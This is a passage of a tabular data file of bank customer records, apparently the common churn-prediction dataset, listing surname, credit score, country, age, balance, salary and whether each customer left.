+2181,15762902,Stanley,649,France,Female,42,7,0,2,0,1,22974.01,0 +2182,15738605,Fischer,634,Germany,Female,46,5,123642.36,1,1,1,49725.16,1 +2183,15724889,Chinweuba,665,Spain,Male,38,9,0,1,0,1,87412.74,0 +2184,15730735,Henning,713,France,Male,38,9,72286.84,2,1,1,26136.89,0 +2185,15689147,Ogochukwu,652,France,Female,40,1,0,2,1,0,126554.96,0 +2186,15730397,Narelle,739,Spain,Male,40,1,109681.61,1,1,1,193321.3,0 +2187,15762169,Bergman,556,Germany,Male,37,9,145018.64,2,1,0,90928.02,1 +2188,15589320,Sagese,699,Spain,Male,34,8,0,1,1,1,76510.46,0 +2189,15799211,Anenechi,708,Spain,Female,32,8,187487.63,1,1,1,120115.5,0 +2190,15798310,Palerma,480,France,Male,35,2,165692.91,1,1,1,197984.58,0 +2191,15609998,Okwudilichukwu,700,Germany,Female,59,5,137648.41,1,1,0,142977.05,1 +2192,15583548,Harrison,525,Spain,Female,47,6,118560,1,1,0,82522.61,1 +2193,15761763,Jamieson,845,France,Male,33,8,164385.53,1,1,0,150664.97,0 +2194,15764409,Goodman,613,France,Male,37,9,108286.5,1,1,1,114153.44,0 +2195,15710161,Ko,850,France,Female,34,2,0,2,1,1,171706.66,0 +2196,15735246,Norman,798,Spain,Female,58,9,0,2,0,0,119071.56,1 +2197,15791700,Ugochukwutubelum,773,Germany,Male,47,2,118079.47,4,1,1,143007.49,1 +2198,15670753,Uvarova,614,Spain,Male,35,2,127283.78,1,1,1,31302.35,0 +2199,15573876,Chia,473,Spain,Male,48,8,0,2,1,0,71139.8,0 +2200,15770174,Piazza,762,France,Male,29,6,141389.06,1,1,0,54122.89,0 +2201,15641114,Power,701,France,Male,37,8,130091.5,1,1,1,120031.29,0 +2202,15682435,P'eng,600,France,Male,35,4,143744.77,2,1,0,104076.51,0 +2203,15751788,Johnson,850,Spain,Male,28,9,97408.03,1,1,1,175853.64,0 +2204,15672598,Walker,613,Spain,Male,30,9,111927.45,1,1,1,175795.87,0 +2205,15762803,Innes,509,France,Male,31,3,0,2,1,0,15360.91,0 +2206,15812982,Francis,509,Spain,Male,38,2,0,1,0,0,168460.12,0 +2207,15597901,Chidozie,609,France,Male,34,1,0,1,1,1,181177.9,0 +2208,15731507,Mackenzie,456,France,Female,33,1,188285.68,1,0,0,58363.94,0 +2209,15809826,Craigie,728,France,Female,46,2,109705.52,1,1,0,20276.87,1 +2210,15764237,Manfrin,663,Spain,Male,33,9,0,2,0,0,91514.62,0 +2211,15769917,Onyekachi,673,Germany,Female,34,1,127122.79,3,0,1,76703.1,0 +2212,15641850,Pethard,717,France,Male,40,0,98241.04,1,1,0,110887.14,0 +2213,15770974,Nwabugwu,741,Germany,Female,37,8,170840.08,2,0,0,109843.16,0 +2214,15803749,DeRose,498,Germany,Female,41,4,87541.06,2,1,1,12577.21,1 +2215,15684999,Ch'eng,850,France,Female,26,4,62610.96,2,0,1,179365.1,0 +2216,15770225,Padovesi,493,France,Male,36,9,0,2,1,1,65816.53,0 +2217,15627484,Obielumani,686,France,Female,47,5,113328.93,1,1,0,124170.9,0 +2218,15610337,Stephens,666,Spain,Male,35,2,104832.49,1,1,0,175015.12,0 +2219,15752488,Emery,733,Spain,Female,31,9,102289.85,1,1,1,115441.66,0 +2220,15610056,Dufresne,631,Germany,Female,34,6,125227.82,2,0,1,128247.03,0 +2221,15806049,Lee,714,Germany,Female,49,5,140510.89,1,1,0,141914.94,0 +2222,15736069,Hsing,767,Germany,Female,35,6,132253.22,1,1,0,115566.57,1 +2223,15763662,Longo,711,Germany,Male,43,2,39043.29,2,1,1,175423.69,0 +2224,15615575,Vial,722,France,Male,34,8,0,2,1,1,133447.49,0 +2225,15691723,Chukwudi,631,Spain,Male,55,9,99685.06,1,1,0,114474.98,0 +2226,15774098,Grant,701,Germany,Male,38,3,125385.49,2,0,1,52044.66,0 +2227,15750808,Ma,790,Spain,Male,46,2,131365.37,2,1,1,180290.68,0 +2228,15744368,Sun,633,Spain,Male,58,6,98308.51,1,1,1,132034.13,0 +2229,15610594,Moss,644,France,Female,37,8,0,2,1,0,20968.88,0 +2230,15756125,Booth,757,Spain,Male,44,5,140856.16,2,1,0,158735.1,0 +2231,15623277,Ross,696,France,Female,30,8,0,2,1,1,196134.44,0 +2232,15795954,Ndukaku,746,France,Male,35,2,172274.01,1,1,0,22374.97,0 +2233,15671969,Pruneda,649,Spain,Male,36,8,0,2,1,0,161668.15,0 +2234,15791268,Neumann,565,Spain,Male,38,0,122447.76,1,0,0,67339.34,0 +2235,15713655,Calabrese,720,France,Female,38,10,0,2,1,1,56229.72,1 +2236,15633930,Yobachukwu,648,Spain,Female,56,6,157559.59,2,1,0,140991.23,1 +2237,15712849,Tung,632,Germany,Male,41,3,126550.7,1,0,0,177644.52,1 +2238,15639077,Marchesi,622,France,Female,30,2,158584.82,3,1,0,142342.55,1 +2239,15808784,Hess,835,France,Male,28,2,163569.61,2,1,1,154559.28,0 +2240,15648577,Pickering,493,France,Female,31,3,0,1,1,1,176570.28,1 +2241,15670345,Mazzi,785,Germany,Female,33,6,127211.45,1,0,0,191961.83,0 +2242,15633112,Madukaego,681,Germany,Male,42,3,118199.97,2,1,0,9452.88,1 +2243,15714397,Trentino,621,Germany,Female,30,2,101014.08,2,1,1,165257.31,0 +2244,15780038,Paterson,756,Spain,Male,38,6,119208.85,1,1,0,169763.89,1 +2245,15756305,Marchesi,515,France,Female,66,6,0,2,1,1,160663.11,0 +2246,15578799,Anayolisa,625,France,Female,58,10,53772.73,1,1,1,192072.1,1 +2247,15800326,Poole,717,Spain,Female,39,6,0,2,1,0,93275.61,0 +2248,15785485,Zhou,595,Germany,Female,41,2,138878.81,1,0,1,112269.67,0 +2249,15783958,Bates,539,Spain,Female,37,1,130922.81,2,0,0,2186.83,0 +2250,15727546,Olejuru,762,France,Male,35,9,0,2,1,1,43075.7,0 +2251,15739576,Bustard,706,Spain,Male,20,8,0,2,1,1,12368.11,0 +2252,15631333,Wade,677,Spain,Female,25,8,130866.19,1,1,0,42410.21,0 +2253,15604782,Tan,733,Germany,Female,33,7,187257.94,1,0,1,190430.81,0 +2254,15589643,Ngozichukwuka,684,Spain,Female,41,7,0,1,1,1,138394.37,0 +2255,15585533,Calabrese,679,France,Male,36,6,147733.64,1,0,1,172501.38,0 +2256,15681506,Lane,478,Spain,Male,43,1,0,2,1,1,197916.43,0 +2257,15630551,Forbes,696,France,Male,33,2,163139.27,1,1,1,7035.36,0 +2258,15698349,Davy,686,Spain,Female,35,4,0,2,1,1,159676.55,0 +2259,15776631,Ma,466,France,Female,36,5,119540.15,1,0,1,80603.99,0 +2260,15762216,Barrera,686,France,Female,41,4,129553.76,2,1,0,187599.8,0 +2261,15623927,Alexander,576,France,Male,55,9,0,2,1,1,94450.97,0 +2262,15681402,Ngozichukwuka,763,Germany,Female,61,1,66101.89,1,1,1,143981.27,0 +2263,15586264,Murray,572,France,Male,43,2,140431.98,1,1,0,26450.57,1 +2264,15594685,Hall,757,France,Female,49,2,0,2,0,0,164482.92,0 +2265,15812945,Padovesi,582,France,Female,29,0,0,1,1,1,84012.81,0 +2266,15734628,Lysaght,623,France,Female,35,5,0,2,1,0,101192.08,0 +2267,15629323,Kelechi,617,Germany,Female,37,4,116471.43,2,1,0,175324.74,1 +2268,15666823,Nebechi,425,France,Male,39,4,0,2,1,0,197226.32,0 +2269,15777553,Hanson,659,France,Female,56,9,123785.24,1,1,0,99504.03,1 +2270,15613097,Kao,605,France,Female,33,4,0,2,0,1,83700.66,0 +2271,15622217,Tu,538,France,Female,38,8,88758.95,2,0,0,28226.15,1 +2272,15703588,Palerma,665,Germany,Male,25,5,153611.83,2,1,0,35321.65,0 +2273,15570835,Fallaci,491,Germany,Female,57,4,112044.72,1,1,1,41229.73,1 +2274,15679299,Shen,726,Spain,Female,27,7,123826.07,1,0,1,78970.58,0 +2275,15808044,Ts'ui,580,France,Female,65,9,106804.26,3,1,0,107890.69,1 +2276,15579208,Chikezie,550,France,Female,48,6,0,2,1,1,191870.28,0 +2277,15684951,He,542,France,Female,59,2,68892.77,2,1,0,7905.06,1 +2278,15667620,Dreyer,732,France,Female,43,6,0,2,1,0,65731.53,0 +2279,15582960,Short,473,France,Female,33,5,125827.43,1,0,1,145698.73,0 +2280,15590730,Hunt,745,Spain,Male,34,9,0,2,1,0,50046.25,0 +2281,15763747,Ricci,732,France,Male,36,7,0,2,1,1,60830.24,0 +2282,15778320,Teng,848,Germany,Female,40,5,148495.64,1,0,0,158853.98,0 +2283,15642787,Ijendu,572,France,Male,37,1,133043.66,1,0,0,111243.09,0 +2284,15624633,Kibby,702,France,Male,45,9,74989.58,1,1,1,171014.69,0 +2285,15766765,Obiuto,664,Germany,Male,39,7,60263.23,1,1,0,170835.32,0 +2286,15783615,Ramos,630,Germany,Male,50,3,129370.91,4,1,1,47775.34,1 +2287,15640161,Calabrese,618,Germany,Male,44,5,157955.83,2,0,0,139297.71,0 +2288,15619889,Vasin,556,France,Male,26,4,0,1,1,0,195167.38,0 +2289,15579166,Munro,619,France,Female,30,7,70729.17,1,1,1,160948.87,0 +2290,15789097,Keeley,644,France,Male,48,8,0,2,0,1,44965.54,1 +2291,15674880,Archer,658,Spain,Male,50,2,0,2,1,0,52137.73,0 +2292,15778157,Murray,598,Spain,Male,27,8,90721.52,2,1,0,109296.18,0 +2293,15779064,Chidiegwu,677,France,Male,27,2,0,2,1,1,20092.89,0 +2294,15801265,Tang,689,Spain,Female,45,0,57784.22,1,1,0,197804,1 +2295,15589204,Farrar,591,France,Male,33,9,131765.72,1,1,0,118782.06,0 +2296,15664543,Shaw,699,France,Male,40,7,0,1,0,1,152876.13,1 +2297,15582714,Napolitani,749,Germany,Male,47,9,110022.74,1,0,1,135655.29,1 +2298,15797595,Greenhalgh,709,France,Female,40,9,131569.63,1,1,1,103970.58,0 +2299,15614034,Martin,607,Germany,Male,61,2,164523.5,2,1,1,35786.76,0 +2300,15763171,Hu,650,Germany,Female,25,2,114330.95,1,1,1,25325.07,0 +2301,15647266,Y?an,651,Spain,Female,45,10,135923.16,1,1,0,18732.84,0 +2302,15757577,Odili,676,France,Female,61,8,0,2,1,1,118522.73,0 +2303,15736656,H?,723,France,Female,49,4,0,2,0,1,89972.25,0 +2304,15635078,Chiemela,714,Spain,Male,45,0,124693.48,1,0,1,187194.15,0 +2305,15680141,Yuan,759,Spain,Female,35,7,147936.42,1,1,1,106785.7,0 +2306,15576945,Clements,582,France,Male,29,0,0,1,1,0,142516.35,0 +2307,15602034,Kolesnikov,697,France,Female,34,2,126558.92,1,1,0,73334.43,0 +2308,15732020,Rutherford,610,Germany,Male,57,6,106938.11,2,0,1,186612.47,0 +2309,15611029,Hsiung,488,Germany,Female,33,4,140002.35,1,1,0,123613.81,0 +2310,15621210,Angelo,599,Germany,Male,46,9,123444.72,1,1,1,31368.08,1 +2311,15569222,Mendes,781,France,Male,32,6,147107.91,1,1,1,40066.95,0 +2312,15664639,McGregor,645,France,Male,19,9,128514.84,1,0,0,175969.19,0 +2313,15724223,Bronner,545,France,Female,55,5,0,1,0,0,10034.77,1 +2314,15644621,Mironova,597,Germany,Female,40,9,106756.01,2,1,0,151167.94,0 +2315,15756056,Ku,561,Spain,Female,28,3,0,2,1,0,191387.76,0 +2316,15700353,Evans,662,France,Female,37,6,0,2,1,0,51229.17,0 +2317,15624388,Henderson,649,Germany,Female,50,5,155393.32,1,1,1,87351.42,1 +2318,15627212,Smith,630,France,Female,36,2,110414.48,1,1,1,48984.95,0 +2319,15648005,Russell,672,Spain,Male,33,2,0,2,1,1,182738,0 +2320,15681446,Sun,636,Germany,Female,37,9,157098.52,1,1,1,153535.27,0 +2321,15775888,McDonald,593,Germany,Female,38,5,85626.6,1,1,1,125079.65,0 +2322,15749019,Wong,545,Germany,Male,45,6,93796.42,2,1,1,162321.26,0 +2323,15709928,Niu,567,Spain,Female,41,1,0,2,1,0,3414.72,0 +2324,15784676,Fanucci,583,France,Male,51,6,125268.03,2,1,0,165082.25,0 +2325,15748116,Zetticci,681,France,Female,29,2,148143.84,1,1,1,52021.39,0 +2326,15612193,Hsia,762,Spain,Male,29,10,115545.33,2,1,0,148256.43,0 +2327,15762984,McIntosh,648,Spain,Male,35,7,0,2,0,0,122899.01,0 +2328,15613713,Kozlova,644,France,Male,30,5,44928.88,1,1,1,10771.46,0 +2329,15664204,Meany,706,Spain,Male,29,2,0,2,1,1,18255.51,0 +2330,15639415,Thompson,850,France,Male,35,3,162442.35,1,1,0,183566.78,0 +2331,15806332,Le Gallienne,484,Spain,Female,39,5,0,2,1,1,175224.12,0 +2332,15614929,Cheng,508,Germany,Male,28,0,96213.82,2,1,0,147913.56,0 +2333,15695492,P'eng,439,France,Female,29,6,156569.43,1,1,0,180598.66,0 +2334,15635972,Lloyd,484,Spain,Male,36,8,0,2,1,0,186136.48,0 +2335,15616380,Wheeler,803,Spain,Female,37,1,0,2,0,0,7455.2,0 +2336,15581440,Christie,724,Germany,Female,48,6,110463.25,2,1,1,80552.11,1 +2337,15654390,He,640,France,Male,33,7,154575.76,1,1,0,25722.28,1 +2338,15660688,King,701,Spain,Female,35,9,0,2,0,0,170996.86,0 +2339,15806307,Favors,537,France,Male,37,3,0,2,1,1,20603.32,0 +2340,15647975,Vida,651,Germany,Male,26,5,147037.32,1,0,0,141763.26,0 +2341,15595728,Thomas,523,Germany,Male,41,0,119276.31,1,0,0,122284.38,1 +2342,15735388,Wayn,717,France,Female,25,7,108664.85,2,1,0,190011.85,0 +2343,15788535,Tan,593,Spain,Male,44,5,0,1,1,0,128046.98,0 +2344,15765902,Gibson,706,Germany,Male,38,5,163034.82,2,1,1,135662.17,0 +2345,15642345,Y?,714,Germany,Female,49,4,93059.34,1,1,0,7571.51,1 +2346,15641250,Calabresi,794,Spain,Male,38,9,179581.31,1,1,0,23596.24,0 +2347,15706163,Enyinnaya,518,Germany,Male,46,4,113625.93,1,0,0,92727.42,1 +2348,15746708,Ritchie,589,Germany,Male,55,7,119961.48,1,1,0,65156.83,1 +2349,15775203,Chia,824,France,Male,45,3,129209.48,1,0,0,60151.77,0 +2350,15787907,Wang,719,Germany,Female,42,5,137227.04,3,1,0,149097.38,1 +2351,15646764,Lorenzo,617,Germany,Female,58,3,119024.75,2,1,0,35199.24,1 +2352,15678284,Pai,651,France,Male,35,7,74623.5,3,1,0,129451.29,1 +2353,15726791,Nuttall,637,Spain,Female,45,2,157929.45,1,1,1,145134.49,1 +2354,15813144,Osborne,554,France,Female,26,7,92606.86,2,1,0,192709.69,0 +2355,15669342,Ferri,731,Germany,Male,35,2,127862.93,2,1,0,139083.7,0 +2356,15710366,Hamilton,569,Spain,Female,42,1,0,1,1,1,83629.6,1 +2357,15614934,McEwan,625,Germany,Female,37,4,142711.81,1,1,0,35625.41,0 +2358,15588701,Lai,592,France,Female,38,4,0,2,1,0,35338.96,0 +2359,15665438,Hs?,669,France,Male,43,1,163159.85,1,0,1,15602.8,0 +2360,15644896,Thompson,663,Germany,Male,32,3,108586.86,1,1,1,182355.21,0 +2361,15670205,Boyd,518,Germany,Female,41,5,110624.99,1,1,0,89327.67,0 +2362,15635776,Trevisani,686,Germany,Female,43,5,154846.24,2,1,1,151903.6,0 +2363,15791053,Lucciano,709,Germany,Male,45,4,122917.71,1,1,1,11.58,1 +2364,15644005,Holman,571,France,Female,33,9,0,2,0,1,77519.62,0 +2365,15796343,Bazhenov,707,France,Female,31,2,82787.93,2,0,0,91423.69,0 +2366,15751057,Douglas,701,Germany,Male,32,5,102500.34,1,0,0,106287.77,0 +2367,15623430,Hill,672,France,Male,34,9,0,2,1,0,161800.77,0 +2368,15682600,Lo,620,Germany,Male,39,9,159492.79,1,1,0,80582.34,1 +2369,15769312,Forbes,557,Spain,Male,48,10,0,2,1,1,185094.48,0 +2370,15708212,Lin,648,Spain,Female,54,7,118241.02,1,1,0,172586.89,1 +2371,15650258,Sinclair,479,France,Female,35,2,113090.4,1,1,0,195649.79,0 +2372,15604345,Kemp,730,France,Female,22,9,65763.57,1,1,1,145792.01,0 +2373,15578297,Ebelegbulam,737,Germany,Female,43,1,125537.38,1,1,0,138510.01,1 +2374,15671789,Woods,616,France,Male,31,3,94263.91,2,1,0,168895.06,0 +2375,15726186,Genovese,639,Spain,Male,29,4,133434.57,2,1,0,97983.44,0 +2376,15764618,Tseng,815,Spain,Female,39,6,0,1,1,1,85167.88,0 +2377,15730738,Chiang,786,Spain,Male,31,9,0,2,1,1,18210.36,0 +2378,15637650,Williams,549,France,Male,50,9,94748.76,2,0,1,13608.18,0 +2379,15606267,Wilson,622,France,Female,38,4,98640.74,1,1,1,110457.99,0 +2380,15625904,Wang,624,France,Male,26,9,74681.9,2,0,0,31231.35,0 +2381,15654463,Moore,841,France,Male,34,4,0,2,1,0,141582.66,0 +2382,15774151,Iadanza,614,Spain,Female,41,7,179915.85,1,0,0,14666.35,1 +2383,15693259,Wallace,676,France,Male,30,1,128207.23,1,1,1,55400.17,0 +2384,15642468,Clark,697,France,Male,42,9,132739.26,2,0,0,174667.65,0 +2385,15758531,Y?,732,France,Female,40,10,0,2,1,0,154189.08,0 +2386,15728352,Yermakov,623,France,Male,27,4,120509.81,1,0,0,142170.44,0 +2387,15637240,Wei,541,France,Male,46,4,124547.13,2,1,0,94499.06,0 +2388,15595588,Chukwunonso,773,Spain,Female,39,4,0,2,0,1,182081.45,0 +2389,15778395,McIntyre,762,Germany,Male,34,4,88815.56,2,1,0,68562.26,1 +2390,15711825,Ts'ai,655,Spain,Female,35,1,82231.51,2,1,0,88798.02,0 +2391,15599251,Chung,602,Germany,Male,32,7,184715.86,2,1,0,113781.99,0 +2392,15570004,Tsou,850,France,Male,31,3,0,2,1,0,121866.87,0 +2393,15656912,Aitken,649,Spain,Male,51,4,0,1,1,1,150390.57,0 +2394,15657342,Dawson,850,Germany,Male,28,4,147972.19,1,1,0,60708.72,1 +2395,15716284,Ward,543,France,Male,43,9,0,2,1,1,78858.07,0 +2396,15672374,Pai,672,France,Male,52,8,170008.84,1,0,0,56407.42,1 +2397,15732476,Ifeanyichukwu,600,France,Female,27,3,0,2,0,1,125698.97,0 +2398,15747724,Briggs,671,Spain,Female,34,10,0,1,1,0,23235.38,0 +2399,15633877,Morrison,706,Spain,Female,42,8,95386.82,1,1,1,75732.25,0 +2400,15672516,Wall,541,Germany,Male,51,7,90373.28,2,1,0,179861.79,0 +2401,15607827,Nebechukwu,711,Germany,Male,34,4,133467.77,2,1,1,42976.64,0 +2402,15751336,Yao,630,Spain,Male,30,3,0,2,0,1,10486.69,0 +2403,15646539,Liao,531,France,Male,31,3,96288.26,1,1,0,56794.73,0 +2404,15756901,Ch'ang,641,France,Female,26,4,91547.84,2,0,1,28157.34,0 +2405,15809286,Burke,631,Germany,Male,37,8,138292.64,2,0,0,152422.91,1 +2406,15759021,Kay,685,France,Male,35,9,0,1,1,0,167033.83,0 +2407,15725039,McIntyre,702,Spain,Male,32,8,71667.74,1,1,1,126082.18,0 +2408,15579130,Chidiegwu,708,Germany,Female,43,0,118994.84,1,1,0,181499.77,1 +2409,15754112,Musgrove,653,Spain,Male,55,7,0,2,1,1,41967.03,0 +2410,15735522,Boulger,654,Germany,Male,37,2,145610.07,2,0,0,186300.59,0 +2411,15613326,Gow,596,France,Female,33,1,138162.81,1,1,0,85412.54,0 +2412,15739502,Amaechi,549,Germany,Female,31,9,135020.21,2,1,1,23343.18,0 +2413,15670914,Robe,754,France,Male,38,2,0,2,1,0,180698.32,0 +2414,15604073,Bibi,815,Germany,Female,25,8,135161.67,1,1,1,136071.05,0 +2415,15806027,Niu,556,France,Female,52,9,0,1,1,0,175149.2,1 +2416,15574886,Palerma,706,France,Male,32,6,94486.47,1,1,1,146949.74,0 +2417,15707120,Cocci,850,France,Male,46,9,117640.39,1,1,0,88920.68,0 +2418,15800845,Artemieva,732,Spain,Female,33,8,111379.55,1,1,1,45098.62,0 +2419,15603914,Arcuri,614,France,Male,40,6,0,1,1,1,20339.79,1 +2420,15722765,Owen,580,Spain,Female,57,0,136820.99,1,0,1,108528.74,0 +2421,15783305,Franklin,593,France,Female,46,7,98752.51,1,1,0,145560.38,0 +2422,15574842,Lorenzo,653,Germany,Female,25,2,158266.42,3,1,1,199357.24,0 +2423,15607837,Muriel,746,France,Female,29,4,105599.67,1,1,1,43106.17,0 +2424,15714877,MacDevitt,662,France,Female,29,10,0,2,1,0,137508.31,0 +2425,15782941,Chijindum,573,France,Male,31,2,0,2,1,1,91957.39,0 +2426,15630167,Gibson,684,Spain,Female,39,4,139723.9,1,1,1,120612.11,0 +2427,15759038,Whitehead,793,France,Female,41,3,141806.46,1,1,0,102921.17,0 +2428,15661821,Johnstone,798,Germany,Female,49,5,132571.67,1,1,1,31686.33,1 +2429,15728006,Endrizzi,524,France,Male,40,2,180516.9,1,1,0,180002.42,0 +2430,15712176,Burke,816,France,Male,31,8,0,2,1,1,28407.4,0 +2431,15689351,Johnson,742,Germany,Female,41,4,92805.72,1,0,1,73743.95,1 +2432,15782247,Yeh,540,France,Male,22,4,0,3,1,1,186233.26,1 +2433,15769064,Marshall,537,Germany,Male,39,3,135309.36,1,1,0,31728.86,1 +2434,15718153,Kao,759,Spain,Female,74,6,128917.84,1,1,1,48244.64,0 +2435,15613189,Browne,774,France,Female,52,2,56580.93,1,1,0,113266.28,1 +2436,15661734,Taylor,608,Germany,Male,42,8,131390.75,2,1,0,71178.09,0 +2437,15592645,Gibbons,704,Spain,Male,37,4,0,2,0,0,25684.93,0 +2438,15768387,Nott,581,France,Male,41,8,0,2,0,0,29737.14,0 +2439,15792525,Lei,628,Germany,Female,61,1,97361.66,1,1,1,149922.38,1 +2440,15586976,Alexeeva,566,France,Female,42,6,0,1,1,0,180702.12,1 +2441,15790659,Sheets,701,Spain,Male,59,7,0,2,0,1,27597.59,0 +2442,15691446,Tokaryev,735,Spain,Male,29,10,0,2,1,1,95025.27,0 +2443,15772632,Ts'ui,680,France,Female,34,1,0,2,1,0,167035.07,0 +2444,15706587,Johnston,560,France,Male,57,0,0,2,0,1,116781.71,0 +2445,15572461,Kung,663,Germany,Female,29,4,102714.65,2,0,0,21170.81,0 +2446,15654409,Unwin,665,France,Female,34,5,67816.72,1,1,1,29641.58,0 +2447,15568025,Hsueh,758,France,Male,51,8,81710.46,1,1,1,116520.07,0 +2448,15715769,Hao,621,France,Male,26,2,75237.54,1,0,1,44220.4,0 +2449,15667458,L?,764,Germany,Male,28,10,124023.18,1,1,0,166188.28,0 +2450,15567980,Frater,537,Germany,Female,46,5,100727.5,1,0,1,140857.76,1 +2451,15679294,Brennan,589,France,Female,46,10,107238.85,2,1,0,37024.28,0 +2452,15606507,Pisani,555,France,Male,24,5,0,2,1,0,27513.47,0 +2453,15578825,Golubev,734,France,Female,29,0,139994.66,1,1,0,17744.72,0 +2454,15619935,Vanmeter,783,Spain,Female,59,9,126224.87,1,1,1,4423.63,0 +2455,15636089,Hs?,678,Germany,Female,51,1,145751.03,1,0,0,109718.44,1 +2456,15727490,Scott,661,France,Male,47,5,0,1,0,1,107243.31,1 +2457,15591766,Crawford,607,Spain,Female,25,4,121166.89,1,0,1,115288.24,0 +2458,15641629,P'eng,537,Spain,Female,38,1,0,2,0,1,41233.97,0 +2459,15813303,Rearick,513,Spain,Male,88,10,0,2,1,1,52952.24,0 +2460,15756920,Genovesi,576,France,Male,63,9,70655.48,1,0,0,78955.8,1 +2461,15726403,Glenny,660,Germany,Male,41,1,129901.21,1,1,0,26025.6,1 +2462,15592765,Marks,637,France,Male,40,8,125470.81,1,1,1,174536.17,0 +2463,15704442,Fleming,672,France,Female,53,9,169406.33,4,1,1,147311.47,1 +2464,15641136,Davison,629,France,Male,32,2,0,2,0,1,77965.44,0 +2465,15725818,Chibuzo,583,Germany,Male,40,4,107041.3,1,1,1,5635.63,0 +2466,15612071,Wilson,763,Spain,Female,32,10,95153.77,1,0,1,81310.1,0 +2467,15719809,Endrizzi,516,Germany,Male,32,3,145166.09,2,0,0,111421.45,0 +2468,15716518,Yuryeva,617,France,Female,27,4,0,2,0,0,190269.21,0 +2469,15742210,Ugochukwu,700,France,Male,38,9,65962.63,1,1,1,100950.48,0 +2470,15630617,Lo Duca,727,Germany,Male,36,6,140418.81,1,1,1,113033.73,1 +2471,15720838,Gallo,689,Spain,Female,31,3,139799.63,1,0,1,120663.57,0 +2472,15595537,Trout,626,Germany,Male,49,9,171787.84,2,1,0,187192.23,0 +2473,15623196,Morley,686,France,Male,38,6,149238.97,1,1,1,97825.23,0 +2474,15679249,Chou,351,Germany,Female,57,4,163146.46,1,1,0,169621.69,1 +2475,15693199,Shao,739,France,Female,37,8,0,2,1,0,191557.1,1 +2476,15661219,Trentino,627,France,Male,32,10,0,2,1,0,103287.62,0 +2477,15617136,Mazzanti,451,Germany,Female,38,9,61482.47,1,1,1,167538.66,0 +2478,15760294,Endrizzi,512,France,Female,41,8,145150.28,1,1,0,64869.32,1 +2479,15652808,Monaldo,774,France,Female,41,5,126670.37,1,1,0,102426.06,0 +2480,15657139,Otutodilinna,652,France,Female,40,8,84390.8,2,0,1,107876.2,0 +2481,15803790,Allen,638,Germany,Male,37,2,89728.86,2,1,1,37294.88,0 +2482,15764105,Milne,475,France,Female,57,1,0,2,1,0,89248.99,0 +2483,15672610,Somadina,567,Spain,Male,40,4,118628.8,1,0,0,91973.63,0 +2484,15766896,Chieloka,750,France,Male,37,3,0,2,1,0,16870.2,0 +2485,15587735,Chukwuebuka,850,France,Male,39,6,96863.13,1,1,1,121681.19,0 +2486,15659501,Chioke,753,France,Female,38,6,142263.45,1,0,1,33730.43,0 +2487,15745001,Kovalev,683,Spain,Female,36,7,0,2,1,0,104786.59,0 +2488,15651140,Doherty,710,France,Female,32,3,0,1,1,0,94790.34,0 +2489,15571148,Baranov,645,Spain,Female,21,1,0,2,0,0,28726.07,0 +2490,15776824,Rossi,714,France,Male,28,6,122724.37,1,1,1,67057.27,0 +2491,15633141,Robinson,696,Germany,Female,35,4,174902.26,1,1,0,69079.85,0 +2492,15764174,Bidencope,612,Spain,Female,26,4,0,2,1,1,179780.74,0 +2493,15778155,T'ien,520,Germany,Female,31,3,108914.17,1,1,1,183572.39,1 +2494,15715920,De Bernales,782,Spain,Male,23,10,98052.66,1,1,1,142587.32,0 +2495,15671917,Wade,666,France,Male,46,5,123873.19,1,1,1,177844.06,0 +2496,15666548,Chung,466,Germany,Female,56,2,111920.13,3,1,0,197634.11,1 +2497,15625623,Stevenson,567,France,Female,45,4,0,2,0,1,121053.19,0 +2498,15748123,Chienezie,613,France,Male,20,3,0,2,1,1,149613.77,0 +2499,15648735,Cashin,718,France,Male,37,8,0,2,1,1,142.81,0 +2500,15634974,Seppelt,614,France,Female,37,8,75150.34,4,0,1,131766.67,1 +2501,15713378,Brownless,711,France,Male,38,10,0,2,0,0,53311.78,0 +2502,15753370,McDonald,691,Germany,Female,38,5,114753.76,1,1,0,107665.02,0 +2503,15782659,Mamelu,527,France,Male,32,0,0,1,1,0,109523.88,0 +2504,15583364,McGregor,476,France,Female,32,6,111871.93,1,0,0,112132.86,0 +2505,15625942,McDonald,619,Spain,Female,45,0,0,2,0,0,113645.4,0 +2506,15720284,Crawford,607,Germany,Female,37,4,135927.06,1,0,0,180890.4,0 +2507,15679642,Feng,695,Spain,Male,44,8,0,2,1,1,70974.13,0 +2508,15628007,Genovese,653,France,Male,33,1,0,2,0,0,53379.52,0 +2509,15661974,Pirozzi,677,France,Male,46,2,57037.74,1,1,1,158531.01,0 +2510,15689341,Gibbs,655,France,Female,50,10,0,4,1,0,179267.94,1 +2511,15607993,Milne,625,France,Female,52,2,79468.96,1,1,1,84606.03,0 +2512,15693267,Dickson,679,Germany,Female,34,7,121063.85,1,1,0,56984.58,0 +2513,15769522,O'Connor,734,France,Male,51,1,118537.47,1,1,1,116912.45,0 +2514,15755825,McGuirk,666,France,Male,39,10,0,2,1,0,102999.33,0 +2515,15598175,Toscani,592,Germany,Female,26,4,105082.07,2,1,0,132801.57,0 +2516,15744327,Ruth,564,France,Male,40,4,0,1,1,0,85455.62,1 +2517,15798666,Hughes,814,France,Female,36,6,0,2,1,1,98657.01,0 +2518,15577064,Onyekaozulu,592,Germany,Male,36,2,104702.65,2,1,0,107948.72,0 +2519,15759436,Aksenov,758,France,Female,50,2,95813.76,3,1,1,67944.09,1 +2520,15690231,K'ung,612,Spain,Female,62,0,167026.61,2,1,1,192892.05,0 +2521,15751561,Meng,498,Germany,Male,61,7,102453.26,1,1,0,187247.56,1 +2522,15739068,Nwoye,638,Germany,Male,25,4,148045.45,2,1,1,114722.42,0 +2523,15758056,Calabresi,558,France,Male,35,1,0,2,0,0,111687.57,0 +2524,15742269,Milano,756,France,Female,24,1,0,2,1,0,184182.25,0 +2525,15726490,Kirby,782,Spain,Male,52,4,0,1,1,1,52759.82,1 +2526,15738411,Ho,505,France,Male,34,10,104498.79,1,0,1,126451.14,0 +2527,15727919,Chukwuemeka,671,Spain,Female,29,6,0,2,0,0,12048.67,0 +2528,15709396,Hale,801,France,Male,42,6,0,2,1,1,95804.33,0 +2529,15654106,K?,604,France,Male,26,8,149542.52,2,0,1,197911.52,0 +2530,15621653,Rice,716,France,Female,29,10,87946.39,1,1,1,182531.74,0 +2531,15598086,Brown,624,France,Female,45,3,68639.57,1,1,0,168002.31,1 +2532,15752300,Sagese,607,Germany,Male,47,4,148826.32,1,1,1,79450.61,0 +2533,15658693,Aksyonova,827,France,Female,60,2,0,2,0,1,60615.83,0 +2534,15631838,Findlay,606,France,Male,61,5,108166.09,2,0,1,8643.21,0 +2535,15803804,Walker,717,Germany,Female,35,5,103214.71,1,1,0,172172.7,0 